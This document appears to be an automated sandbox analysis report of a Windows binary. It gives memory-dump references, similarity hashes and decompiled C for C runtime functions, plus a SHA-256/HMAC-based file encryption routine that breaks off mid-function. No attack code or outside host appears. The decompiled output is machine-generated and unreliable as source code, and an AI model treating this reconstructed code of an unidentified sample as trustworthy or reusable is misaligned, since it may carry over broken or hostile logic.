Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 0af69ece98b21712c900e906c8c2908f0d82abc2a6a59ed4b191cf20b639f901
Instruction ID: 4afa850d0b906acc83c24ff1575e5196b6c9f3d0fc5c02901badbf32e82bfd4f
Opcode Fuzzy Hash: 0af69ece98b21712c900e906c8c2908f0d82abc2a6a59ed4b191cf20b639f901
Instruction Fuzzy Hash: 99014871800229EBCF22AFA8880699E7F31FF44760F01C115F86CD61A9C735CA62DF92

Uniqueness

Uniqueness Score: -1.00%

Function 00879BA2, Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00879BA2(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t20;
				signed int _t22;
				intOrPtr _t32;
				void* _t33;
				intOrPtr _t35;

				_push(0xc);
				_push(0x886da8);
				E0087C4C0(__ebx, __edi, __esi);
				 *(_t33 - 0x1c) =  *(_t33 - 0x1c) | 0xffffffff;
				_t32 =  *((intOrPtr*)(_t33 + 8));
				_t35 = _t32;
				_t36 = _t35 != 0;
				if(_t35 != 0) {
					__eflags =  *(_t32 + 0xc) & 0x00000040;
					if(( *(_t32 + 0xc) & 0x00000040) == 0) {
						E00878E7A(_t32);
						 *(_t33 - 4) =  *(_t33 - 4) & 0x00000000;
						_t20 = E00879B35(__ebx, __edx, _t32); // executed
						 *(_t33 - 0x1c) = _t20;
						 *(_t33 - 4) = 0xfffffffe;
						E00879C0E(_t32);
					} else {
						_t9 = _t32 + 0xc;
						 *_t9 =  *(_t32 + 0xc) & 0x00000000;
						__eflags =  *_t9;
					}
					_t22 =  *(_t33 - 0x1c);
				} else {
					 *((intOrPtr*)(E0087B831(_t36))) = 0x16;
					_t22 = E0087B7DF() | 0xffffffff;
				}
				return E0087C505(_t22);
			}

0x00879ba2
0x00879ba4
0x00879ba9
0x00879bae
0x00879bb4
0x00879bb7
0x00879bbc
0x00879bbe
0x00879bd5
0x00879bd9
0x00879be9
0x00879bef
0x00879bf4
0x00879bfa
0x00879bfd
0x00879c04
0x00879bdb
0x00879bdb
0x00879bdb
0x00879bdb
0x00879bdb
0x00879bdf
0x00879bc0
0x00879bc5
0x00879bd0
0x00879bd0
0x00879be7

APIs

Part of subcall function 0087B831: __getptd_noexit.LIBCMT ref: 0087B831

__lock_file.LIBCMT ref: 00879BE9

Part of subcall function 00878E7A: __lock.LIBCMT ref: 00878E9F

__fclose_nolock.LIBCMT ref: 00879BF4

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 8a01e781c284b4106357894e9c7cfe08f83ffb5fd8d1b58eaa032de046cda588
Instruction ID: ab1ab3e56abcc7689320fee3290e5ea336a33b039e59f611fb10eabe8d962a01
Opcode Fuzzy Hash: 8a01e781c284b4106357894e9c7cfe08f83ffb5fd8d1b58eaa032de046cda588
Instruction Fuzzy Hash: FBF09031808715DADB20AB7C980679E7BA4FF00335F20C208E4BCEB0D9CB78D9019B56

Uniqueness

Uniqueness Score: -1.00%

Function 00879FD0, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00879FD0(int _a4) {

				E00879FA5(_a4);
				ExitProcess(_a4);
			}

0x00879fd8
0x00879fe1

APIs

___crtCorExitProcess.LIBCMT ref: 00879FD8

Part of subcall function 00879FA5: GetModuleHandleW.KERNEL32(mscoree.dll,?,00879FDD,0087F3C2,?,0088015B,000000FF,0000001E,00000001,00000000,00000000,?,0087A5F9,0087F3C2,00000001,0087F3C2), ref: 00879FAF
Part of subcall function 00879FA5: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00879FBF

ExitProcess.KERNEL32 ref: 00879FE1

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 4fa367be02498ccae8346a735137bc4c62112c3173f824f90f3aafa4e3d3d519
Instruction ID: 046b556cf1003096f2d62c02e0371df5b0c1f14264fc112310d8910a11470208
Opcode Fuzzy Hash: 4fa367be02498ccae8346a735137bc4c62112c3173f824f90f3aafa4e3d3d519
Instruction Fuzzy Hash: 12B09B310041087BDB012F15DC0984D3F25FBC13607104010F50C45031DF72DD529681

Uniqueness

Uniqueness Score: -1.00%

Function 008801C0, Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E008801C0(signed int _a4, signed int _a8, long _a12) {
				void* _t10;
				long _t11;
				long _t12;
				signed int _t13;
				signed int _t17;
				long _t19;
				long _t24;

				_t17 = _a4;
				if(_t17 == 0) {
					L3:
					_t24 = _t17 * _a8;
					__eflags = _t24;
					if(_t24 == 0) {
						_t24 = _t24 + 1;
						__eflags = _t24;
					}
					goto L5;
					L6:
					_t10 = RtlAllocateHeap( *0x889ce8, 8, _t24); // executed
					__eflags = 0;
					if(0 == 0) {
						goto L7;
					}
					L14:
					return _t10;
					goto L15;
					L7:
					__eflags =  *0x889d4c;
					if( *0x889d4c == 0) {
						_t19 = _a12;
						__eflags = _t19;
						if(_t19 != 0) {
							 *_t19 = 0xc;
						}
					} else {
						_t11 = E0087FA9E(_t10, _t24);
						__eflags = _t11;
						if(_t11 != 0) {
							L5:
							_t10 = 0;
							__eflags = _t24 - 0xffffffe0;
							if(_t24 > 0xffffffe0) {
								goto L7;
							} else {
								goto L6;
							}
						} else {
							_t12 = _a12;
							__eflags = _t12;
							if(_t12 != 0) {
								 *_t12 = 0xc;
							}
							_t10 = 0;
						}
					}
					goto L14;
				} else {
					_t13 = 0xffffffe0;
					_t27 = _t13 / _t17 - _a8;
					if(_t13 / _t17 >= _a8) {
						goto L3;
					} else {
						 *((intOrPtr*)(E0087B831(_t27))) = 0xc;
						return 0;
					}
				}
				L15:
			}

APIs

RtlAllocateHeap.NTDLL(00000008,0087F457,00000000,?,0087A643,00000001,0087F457,00000000,00000000,00000000,?,0087F457,00000001,00000214), ref: 00880203

Part of subcall function 0087B831: __getptd_noexit.LIBCMT ref: 0087B831

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 7463717289a8d7609634cb7673a9bb6640d943dd82355d038376b5ecfc10d2a5
Instruction ID: d035f7e233b8076de328609daac56f5ff51ea661831ea44ddfb9ee3cbf8e8e13
Opcode Fuzzy Hash: 7463717289a8d7609634cb7673a9bb6640d943dd82355d038376b5ecfc10d2a5
Instruction Fuzzy Hash: 3B01B1352012269AEBB5BF69EC18B6A3795FF91760F058529E819CB1A0DBB0C804CB50

Uniqueness

Uniqueness Score: -1.00%

Function 008798AF, Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E008798AF(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t16;
				intOrPtr _t21;
				void* _t31;
				intOrPtr _t37;

				_push(0xc);
				_push(0x886d68);
				E0087C4C0(__ebx, __edi, __esi);
				if( *((intOrPtr*)(_t31 + 0xc)) == 0 ||  *((intOrPtr*)(_t31 + 0x10)) == 0) {
					L4:
					_t16 = 0;
				} else {
					_t37 =  *((intOrPtr*)(_t31 + 0x14));
					_t38 = _t37 != 0;
					if(_t37 != 0) {
						E00878E7A( *((intOrPtr*)(_t31 + 0x14)));
						 *((intOrPtr*)(_t31 - 4)) = 0;
						_t21 = E00879758( *((intOrPtr*)(_t31 + 8)),  *((intOrPtr*)(_t31 + 0xc)),  *((intOrPtr*)(_t31 + 0x10)),  *((intOrPtr*)(_t31 + 0x14))); // executed
						 *((intOrPtr*)(_t31 - 0x1c)) = _t21;
						 *((intOrPtr*)(_t31 - 4)) = 0xfffffffe;
						E0087991F();
						_t16 =  *((intOrPtr*)(_t31 - 0x1c));
					} else {
						 *((intOrPtr*)(E0087B831(_t38))) = 0x16;
						E0087B7DF();
						goto L4;
					}
				}
				return E0087C505(_t16);
			}

0x008798af
0x008798b1
0x008798b6
0x008798c0
0x008798e3
0x008798e3
0x008798c7
0x008798c9
0x008798cf
0x008798d1
0x008798ee
0x008798f4
0x00879903
0x0087990b
0x0087990e
0x00879915
0x0087991a
0x008798d3
0x008798d8
0x008798de
0x00000000
0x008798de
0x008798d1
0x008798ea

APIs

__lock_file.LIBCMT ref: 008798EE

Part of subcall function 0087B831: __getptd_noexit.LIBCMT ref: 0087B831

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: c126045cf03e2b3b5f71fe1ca4e3592340c182497f97532825fae10e0a0c92d2
Instruction ID: e155ee259ccfc7b1114befbcc57401c35324938d011b251dc68bca9548121694
Opcode Fuzzy Hash: c126045cf03e2b3b5f71fe1ca4e3592340c182497f97532825fae10e0a0c92d2
Instruction Fuzzy Hash: 8EF04931801219EBCF21BFA8CC0259E7A61FF04B50F01C529F96CDA169D735CA60EB93

Uniqueness

Uniqueness Score: -1.00%

Function 0087A228, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E0087A228(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t9;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0087A0E8(_t3, _t4, _t5, _t6, _t9); // executed
				return _t2;
			}

0x0087a22d
0x0087a22f
0x0087a231
0x0087a234
0x0087a23d

APIs

_doexit.LIBCMT ref: 0087A234

Part of subcall function 0087A0E8: __lock.LIBCMT ref: 0087A0F6
Part of subcall function 0087A0E8: RtlDecodePointer.NTDLL(00886E28,00000020,0087A24F,0087F3C2,00000001,00000000,?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A132
Part of subcall function 0087A0E8: DecodePointer.KERNEL32(?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A143
Part of subcall function 0087A0E8: DecodePointer.KERNEL32(-00000004,?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A169
Part of subcall function 0087A0E8: DecodePointer.KERNEL32(?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A17C
Part of subcall function 0087A0E8: DecodePointer.KERNEL32(?,0087A28F,000000FF,?,0087D899,00000011,?), ref: 0087A186

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DecodePointer$__lock_doexit
String ID:
API String ID: 3343572566-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: 3b4ea6f442a74ee996bf69c23c4b99d2d77b725337606e60b31ddb2b4b777f80
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: DCB0927258424873DA202586AC03F1A3A0997C0B60F248020BA0C191A1A9A2A969908A

Uniqueness

Uniqueness Score: -1.00%

Function 00879248, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00879248(intOrPtr _a4, intOrPtr _a8) {
				void* __ebp;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t10;

				_push(0x40);
				_push(_a8);
				_push(_a4);
				_t3 = E0087918A(_t4, _t5, _t6, _t7, _t10); // executed
				return _t3;
			}

0x0087924d
0x0087924f
0x00879252
0x00879255
0x0087925e

APIs

__wfsopen.LIBCMT ref: 00879255

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction ID: e61d15deadb6d18896dff3d0afbc61844c932929d86700352983f86d23c43721
Opcode Fuzzy Hash: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
Instruction Fuzzy Hash: B4C0927244020C77CF112A86EC06E8A3F1AEBC1774F458020FB1C19161AA77EA71AA9A

Uniqueness

Uniqueness Score: -1.00%

Function 0087F2F5, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,008821B8,008896B0,00000314,00000000,?,?,?,?,?,0087EF80,008896B0,Microsoft Visual C++ Runtime Library,00012010), ref: 0087F2F7

Memory Dump Source

Source File: 0000000B.00000002.217149017.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 0000000B.00000002.217144739.0000000000870000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.217173733.0000000000888000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.217184413.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 9c1c77e542f6b741ab7b1d927ae0b885311a0d59789689fccea3bf41193ccc6f
Instruction ID: 5fc89f4cc709615e5364e349e5a4cc7ec3f8799bcc16fd31c86a52276ae7ed9d
Opcode Fuzzy Hash: 9c1c77e542f6b741ab7b1d927ae0b885311a0d59789689fccea3bf41193ccc6f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00874678, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 257
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00874678(void* __eax) {
				signed int _t423;
				void* _t426;
				void* _t427;
				void* _t430;
				void* _t431;
				void* _t432;
				void* _t433;
				void* _t434;
				signed int _t435;
				void* _t440;

				do {
					__cl =  *((intOrPtr*)(__ebp + __eax - 0x54));
					 *(__ebp + __eax - 0x118) =  *(__ebp + __eax - 0x118) ^ __cl;
					 *(__ebp + __eax - 0xd8) =  *(__ebp + __eax - 0xd8) ^ __cl;
					__cl =  *((intOrPtr*)(__ebp + __eax - 0x53));
					 *(__ebp + __eax - 0x117) =  *(__ebp + __eax - 0x117) ^ __cl;
					 *(__ebp + __eax - 0xd7) =  *(__ebp + __eax - 0xd7) ^ __cl;
					__cl =  *((intOrPtr*)(__ebp + __eax - 0x52));
					 *(__ebp + __eax - 0x116) =  *(__ebp + __eax - 0x116) ^ __cl;
					 *(__ebp + __eax - 0xd6) =  *(__ebp + __eax - 0xd6) ^ __cl;
					__cl =  *((intOrPtr*)(__ebp + __eax - 0x51));
					 *(__ebp + __eax - 0x115) =  *(__ebp + __eax - 0x115) ^ __cl;
					 *(__ebp + __eax - 0xd5) =  *(__ebp + __eax - 0xd5) ^ __cl;
					__eax = __eax + 4;
					__eflags = __eax - 0x20;
				} while (__eax < 0x20);
				__ecx = __ebp - 0x1b8;
				__eax = __ebp - 0x118;
				 *(__ebp - 0x1b4) = 0;
				 *((intOrPtr*)(__ebp - 0x1b0)) = 0x6a09e667;
				 *((intOrPtr*)(__ebp - 0x1ac)) = 0xbb67ae85;
				 *((intOrPtr*)(__ebp - 0x1a8)) = 0x3c6ef372;
				 *((intOrPtr*)(__ebp - 0x1a4)) = 0xa54ff53a;
				 *((intOrPtr*)(__ebp - 0x1a0)) = 0x510e527f;
				 *((intOrPtr*)(__ebp - 0x19c)) = 0x9b05688c;
				 *((intOrPtr*)(__ebp - 0x198)) = 0x1f83d9ab;
				 *((intOrPtr*)(__ebp - 0x194)) = 0x5be0cd19;
				 *(__ebp - 0x1b8) = 0x40;
				__eax = E00875E90(__ebp - 0x118, __ebp - 0x1b8);
				__eflags =  *((char*)(__ebp - 0x14d)) - 1;
				if( *((char*)(__ebp - 0x14d)) < 1) {
					L42:
					__eax = __ebp - 0x98;
					__esi = E008795CE(__ebp - 0x98, 1, 0x30, __ebx);
					__eflags = __esi - 0x30;
					if(__esi >= 0x30) {
						L56:
						__eflags =  *(__ebp - 0x3d4);
						__ecx = __ebp - 0x68;
						 *(__ebp - 0x3cc) = __ebp - 0x68;
						__esi = __ebp - 0x98;
						if( *(__ebp - 0x3d4) != 0) {
							L95:
							__edx = __ebp - 0x54;
							__ecx = __ebp - 0x1b8;
							E00878680(__ebp - 0x1b8, __ebp - 0x54) = __ebp - 0x1b8;
							__ebx = 0x40;
							__eax = __ebp - 0xd8;
							 *(__ebp - 0x1b4) = 0;
							 *((intOrPtr*)(__ebp - 0x1b0)) = 0x6a09e667;
							 *((intOrPtr*)(__ebp - 0x1ac)) = 0xbb67ae85;
							 *((intOrPtr*)(__ebp - 0x1a8)) = 0x3c6ef372;
							 *((intOrPtr*)(__ebp - 0x1a4)) = 0xa54ff53a;
							 *((intOrPtr*)(__ebp - 0x1a0)) = 0x510e527f;
							 *((intOrPtr*)(__ebp - 0x19c)) = 0x9b05688c;
							 *((intOrPtr*)(__ebp - 0x198)) = 0x1f83d9ab;
							 *((intOrPtr*)(__ebp - 0x194)) = 0x5be0cd19;
							 *(__ebp - 0x1b8) = 0x40;
							__eax = E00875E90(__ebp - 0xd8, __ebp - 0x1b8);
							__eax =  *(__ebp - 0x1b8);
							__edi = __eax;
							__edi = __eax & 0x0000003f;
							__eax = __eax + 0x20;
							__ecx = __ebp - 0x54;
							__ebx = 0x40 - __edi;
							 *(__ebp - 0x3c8) = 0x20;
							 *(__ebp - 0x3c4) = __ebp - 0x54;
							 *(__ebp - 0x1b8) = __eax;
							__eflags = __eax - 0x20;
							if(__eax < 0x20) {
								_t348 = __ebp - 0x1b4;
								 *_t348 =  *(__ebp - 0x1b4) + 1;
								__eflags =  *_t348;
							}
							__eflags = __edi;
							if(__edi == 0) {
								L104:
								__ecx =  *(__ebp - 0x3c8);
								__edx =  *(__ebp - 0x3c4);
								__ebp + __edi - 0x190 = E0087E790(__ebp + __edi - 0x190,  *(__ebp - 0x3c4),  *(__ebp - 0x3c8));
							} else {
								__eflags = __ebx - 0x20;
								if(__ebx > 0x20) {
									goto L104;
								} else {
									__edx = __ebp - 0x54;
									__ebp + __edi - 0x190 = E0087E790(__ebp + __edi - 0x190, __ebp - 0x54, __ebx);
									__ecx = __ebp - 0x1b8;
									__ebp - 0x190 = E00875E90(__ebp - 0x190, __ebp - 0x1b8);
									__eax = 0x20;
									__eax = 0x20 - __ebx;
									__edx = __ebp + __ebx - 0x54;
									__edi = 0;
									 *(__ebp - 0x3c8) = 0x20;
									 *(__ebp - 0x3c4) = __edx;
									__eflags = 0x20 - 0x40;
									if(0x20 >= 0x40) {
										__eax = __eax >> 6;
										__eflags = 0x20;
										 *(__ebp - 0x3d0) = __eax;
										__ebx = __edx;
										do {
											__eax = __ebp - 0x1b8;
											__ebx = E00875E90(__ebx, __ebp - 0x1b8);
											 *(__ebp - 0x3c8) =  *(__ebp - 0x3c8) - 0x40;
											__ebx = __ebx + 0x40;
											_t363 = __ebp - 0x3d0;
											 *_t363 =  *(__ebp - 0x3d0) - 1;
											__eflags =  *_t363;
										} while ( *_t363 != 0);
										 *(__ebp - 0x3c4) = __ebx;
									}
									__eflags =  *(__ebp - 0x3c8) - __edi;
									if( *(__ebp - 0x3c8) != __edi) {
										goto L104;
									}
								}
							}
							__ecx = __ebp - 0x54;
							__ecx = __ebp - 0x1b8;
							__eax = E00878680(__ebp - 0x1b8, __ebp - 0x54);
							__dl =  *((intOrPtr*)(__ebp - 0x14d));
							__eflags = __dl;
							if(__dl != 0) {
								__ecx =  *(__esi + 1);
								__eax =  *(__esi + 5);
								 *(__ebp - 0x34) =  *(__esi + 1);
								__ecx =  *(__esi + 9);
								 *(__ebp - 0x30) =  *(__esi + 5);
								 *(__ebp - 0x2c) =  *(__esi + 9);
								__cl =  *((intOrPtr*)(__esi + 0xf));
								 *(__ebp - 0x28) =  *((intOrPtr*)(__esi + 0xd));
								__esi = __esi + 0x10;
								__eax = __ebp - 0x58;
								 *(__ebp - 0x26) = __cl;
								__eflags = __esi - __ebp - 0x58;
								if(__esi == __ebp - 0x58) {
									__esi = __ebp - 0x98;
								}
								__ecx =  *__esi;
								__eax =  *(__esi + 4);
								 *(__ebp - 0x25) =  *__esi;
								__ecx =  *(__esi + 8);
								 *(__ebp - 0x21) =  *(__esi + 4);
								__eax =  *(__esi + 0xc);
								 *(__ebp - 0x1d) =  *(__esi + 8);
								__esi = __esi + 0x10;
								__ecx = __ebp - 0x58;
								 *(__ebp - 0x19) = __eax;
								__eflags = __esi - __ebp - 0x58;
								if(__esi == __ebp - 0x58) {
									__esi = __ebp - 0x98;
								}
								__al =  *__esi;
								 *((char*)(__ebp - 0x15)) =  *__esi;
							} else {
								__eax =  *__esi;
								__ecx =  *(__esi + 4);
								 *(__ebp - 0x34) =  *__esi;
								__eax =  *(__esi + 8);
								 *(__ebp - 0x30) =  *(__esi + 4);
								__ecx =  *(__esi + 0xc);
								 *(__ebp - 0x2c) =  *(__esi + 8);
								__esi = __esi + 0x10;
								__eax = __ebp - 0x58;
								 *(__ebp - 0x28) = __ecx;
								__eflags = __esi - __ebp - 0x58;
								if(__esi == __ebp - 0x58) {
									__esi = __ebp - 0x98;
								}
								__ecx =  *__esi;
								__eax =  *(__esi + 4);
								 *(__ebp - 0x24) =  *__esi;
								__ecx =  *(__esi + 8);
								 *(__ebp - 0x20) =  *(__esi + 4);
								__eax =  *(__esi + 0xc);
								 *(__ebp - 0x1c) =  *(__esi + 8);
								 *(__ebp - 0x18) =  *(__esi + 0xc);
							}
							__eax = 0x20;
							__ecx = 0;
							__eflags = 0;
							while(1) {
								__esi =  *(__ebp + __ecx - 0x54);
								__eflags = __esi -  *((intOrPtr*)(__ebp + __ecx - 0x34));
								if(__esi !=  *((intOrPtr*)(__ebp + __ecx - 0x34))) {
									break;
								}
								__eax = __eax - 4;
								__ecx = __ecx + 4;
								__eflags = __eax - 4;
								if(__eflags >= 0) {
									continue;
								} else {
									__ecx =  *(__ebp - 0x3dc);
									_push( *(__ebp - 0x3dc));
									__eax = E0087912E(__ebx, __edx, __edi, __esi, __eflags);
									__esp = __esp + 4;
									__eflags = __eax;
									if(__eflags == 0) {
										__eax = 0;
										_pop(__edi);
										_pop(__esi);
										_pop(__ebx);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) ^ __ebp;
										__eflags = __ecx;
										__eax = E00878AD6(0, __ebx, __ecx, __edx, __edi, __esi);
										__esp = __ebp;
										_pop(__ebp);
										return __eax;
									} else {
										_push("Error: Could not flush output file buffer\n");
										goto L2;
									}
								}
								goto L124;
							}
							__eflags = __dl;
							if(__eflags == 0) {
								goto L45;
							} else {
								_push("Error: Message has been altered and should not be trusted\n");
							}
							goto L2;
						} else {
							do {
								__edx = __ebp - 0x58;
								__eflags =  *(__ebp - 0x3cc) - __edx;
								if( *(__ebp - 0x3cc) == __edx) {
									__eax = __ebp - 0x98;
									 *(__ebp - 0x3cc) = __ebp - 0x98;
								}
								__ebx =  *(__ebp - 0x3d8);
								__ecx =  *(__ebp - 0x3cc);
								__edi = E008795CE( *(__ebp - 0x3cc), 1, 0x10, __ebx);
								__eflags = __edi - 0x10;
								if(__edi >= 0x10) {
									__cl =  *((intOrPtr*)(__ebp - 0x14d));
									goto L72;
								} else {
									__eflags = E00878B69(__ebx);
									if(__eflags == 0) {
										_push("Error reading input file:");
										__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
										__esp = __esp + 4;
										__eax = __eax | 0xffffffff;
										_pop(__edi);
										_pop(__esi);
										_pop(__ebx);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) ^ __ebp;
										__eflags = __ecx;
										__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
										__esp = __ebp;
										_pop(__ebp);
										return __eax;
									} else {
										__cl =  *((intOrPtr*)(__ebp - 0x14d));
										__eflags = __cl;
										if(__cl != 0) {
											__eflags = __cl - 1;
											if(__cl < 1) {
												goto L70;
											} else {
												__eflags = __edi - 1;
												if(__eflags != 0) {
													goto L64;
												} else {
													__eax = __esi + 0x10;
													__edx = __ebp - 0x58;
													__eflags = __eax - __ebp - 0x58;
													if(__eax >= __ebp - 0x58) {
														__al =  *(__ebp - 0x98);
														__al =  *(__ebp - 0x98) & 0x0000000f;
														__eflags = __al;
														 *(__ebp - 0x14c) = __al;
														goto L70;
													} else {
														 *__eax =  *__eax & 0x0000000f;
														 *(__ebp - 0x14c) =  *__eax & 0x0000000f;
														 *(__ebp - 0x3d4) = __edi;
													}
													goto L72;
												}
											}
										} else {
											__eflags = __edi;
											if(__eflags <= 0) {
												L70:
												 *(__ebp - 0x3d4) = 1;
												L72:
												__eflags = __edi;
												if(__edi > 0) {
													_t259 = __ebp - 0x3cc;
													 *_t259 =  *(__ebp - 0x3cc) + 0x10;
													__eflags =  *_t259;
													goto L76;
												} else {
													__eflags = __cl;
													if(__cl != 0) {
														goto L94;
													} else {
														L76:
														__eax =  *__esi;
														__ecx =  *(__esi + 4);
														__edx =  *(__esi + 8);
														 *(__ebp - 0x34) =  *__esi;
														__eax =  *(__esi + 0xc);
														 *(__ebp - 0x28) =  *(__esi + 0xc);
														__eax =  *(__ebp - 0x1b8);
														__edi = __eax;
														__edi = __eax & 0x0000003f;
														__ebx = 0x40;
														__eax = __eax + 0x10;
														__ebx = 0x40 - __edi;
														 *(__ebp - 0x30) =  *(__esi + 4);
														 *(__ebp - 0x2c) =  *(__esi + 8);
														 *(__ebp - 0x3c8) = 0x10;
														 *(__ebp - 0x3c4) = __esi;
														 *(__ebp - 0x1b8) = __eax;
														__eflags = __eax - 0x10;
														if(__eax < 0x10) {
															_t272 = __ebp - 0x1b4;
															 *_t272 =  *(__ebp - 0x1b4) + 1;
															__eflags =  *_t272;
														}
														__eflags = __edi;
														if(__edi == 0) {
															L85:
															__ecx =  *(__ebp - 0x3c8);
															__edx =  *(__ebp - 0x3c4);
															__ebp + __edi - 0x190 = E0087E790(__ebp + __edi - 0x190,  *(__ebp - 0x3c4),  *(__ebp - 0x3c8));
														} else {
															__eflags = __ebx - 0x10;
															if(__ebx > 0x10) {
																goto L85;
															} else {
																__ecx = __ebp + __edi - 0x190;
																__eax = E0087E790(__ebp + __edi - 0x190, __esi, __ebx);
																__edx = __ebp - 0x1b8;
																__ebp - 0x190 = E00875E90(__ebp - 0x190, __ebp - 0x1b8);
																__eax = 0x10;
																__eax = 0x10 - __ebx;
																__ebx = __ebx + __esi;
																__edi = 0;
																 *(__ebp - 0x3c8) = 0x10;
																 *(__ebp - 0x3c4) = __ebx;
																__eflags = 0x10 - 0x40;
																if(0x10 >= 0x40) {
																	__eax = __eax >> 6;
																	__eflags = 0x10;
																	 *(__ebp - 0x3d0) = __eax;
																	do {
																		__eax = __ebp - 0x1b8;
																		__ebx = E00875E90(__ebx, __ebp - 0x1b8);
																		 *(__ebp - 0x3c8) =  *(__ebp - 0x3c8) - 0x40;
